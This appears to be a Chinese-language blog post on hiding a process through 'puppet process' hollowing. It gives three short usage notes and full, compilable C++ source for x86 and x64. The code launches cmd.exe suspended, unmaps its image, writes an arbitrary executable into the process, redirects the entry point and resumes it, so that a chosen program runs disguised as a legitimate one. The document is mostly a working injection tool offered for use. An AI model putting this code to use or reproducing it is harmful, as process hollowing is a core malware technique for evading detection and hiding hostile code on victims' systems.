进程隐藏之傀儡进程(支持x86和x64)

使用须知:

1.尽量使用单EXE就可以运行的程序。

2.进程环境还是所创建进程的环境,比如说目录还是以运行时的目录。

3.根据镂空对象程序位数,编译对应位数版本。

#include <iostream>
#include <stdio.h>
#include <windows.h>




typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

ULONG protect(ULONG characteristics)
{
	static const ULONG mapping[]
		= { PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
		   PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE };

	return mapping[characteristics >> 29];
}

int main(int argc, char* argv[])
{
	PROCESS_INFORMATION pi;
	STARTUPINFO si = {};
	DWORD lastError = 0;
	si.cb = sizeof(si);
	wchar_t str[]{ L"cmd.exe" };
	CreateProcess(NULL, str, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi);

	CONTEXT context = { 0 };
	context.ContextFlags = CONTEXT_ALL;

	GetThreadContext(pi.hThread, &context);

	PVOID x;
#ifdef _WIN64

	if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &x, sizeof(PVOID), 0))
	{
		lastError = GetLastError();
		printf("GetProcessImageBase fail LastError:%d\n", lastError);
	};
#endif

#ifdef _X86_

	if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 0x8), &x, 4, 0))
	{
		lastError = GetLastError();
		printf("GetProcessImageBase fail LastError:%d\n", lastError);
	};
#endif


	if (argc<2)
	{
		printf("Usage: %s <filepath>\n", argv[0]);
		return 0;
	}
	std::string filePath = argv[1];  //filepath
	HANDLE hFile = CreateFileA(filePath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

	DWORD dwFileSize = GetFileSize(hFile, NULL);
	LPVOID pAlloc1 = new BYTE[dwFileSize];
	DWORD FileReadSize;
	if (!ReadFile(hFile, pAlloc1, dwFileSize, &FileReadSize, NULL))
	{
		lastError = GetLastError();
		printf("ReadFile fail LastError:%d\n", lastError);
		return 0;
	}

	CloseHandle(hFile);

	PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS((PCHAR)pAlloc1 + ((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);



	if (((SIZE_T)x <= nt->OptionalHeader.ImageBase + nt->OptionalHeader.SizeOfImage )&& ((SIZE_T)x >= nt->OptionalHeader.ImageBase - nt->OptionalHeader.SizeOfImage))
	{
		HMODULE hntdll = GetModuleHandleW(L"ntdll.dll");
		if (hntdll)
		{
			pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hntdll, "NtUnmapViewOfSection");
			NtUnmapViewOfSection(pi.hProcess, x);
		}
		else
		{
			lastError = GetLastError();
			printf("GetModuleHandleW fail LastError:%d\n", lastError);
		}
	}


	PVOID pAlloc2 = VirtualAllocEx(pi.hProcess,
		PVOID(nt->OptionalHeader.ImageBase),
		nt->OptionalHeader.SizeOfImage,
		MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!pAlloc2)
	{
		 pAlloc2 = VirtualAllocEx(pi.hProcess,
			NULL,
			nt->OptionalHeader.SizeOfImage,
			MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if (!pAlloc2)
		{
			lastError = GetLastError();
			printf("VirtualAllocEx fail LastError:%d\n", lastError);
			return 0;
		}
		
	}

	WriteProcessMemory(pi.hProcess, pAlloc2, pAlloc1, nt->OptionalHeader.SizeOfHeaders, 0);

	PIMAGE_SECTION_HEADER sect = (IMAGE_SECTION_HEADER*)((char*)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);

	for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) {

		WriteProcessMemory(pi.hProcess,
			(PCHAR)pAlloc2 + sect[i].VirtualAddress,
			(PCHAR)pAlloc1 + sect[i].PointerToRawData,
			sect[i].SizeOfRawData, 0);

		ULONG x2;

		VirtualProtectEx(pi.hProcess, (PCHAR)pAlloc2 + sect[i].VirtualAddress, sect[i].Misc.VirtualSize,
			protect(sect[i].Characteristics), &x2);
	}

#ifdef _WIN64
	context.Rcx = (SIZE_T)((LPBYTE)pAlloc2 + nt->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &pAlloc2, sizeof(PVOID), 0);

#endif

#ifdef _X86_
	context.Eax = (SIZE_T)((LPBYTE)pAlloc2 + nt->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(context.Ebx + 8), &pAlloc2, sizeof(PVOID), 0);

#endif


	SetThreadContext(pi.hThread, &context);

	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	system("pause");
	return 0;
}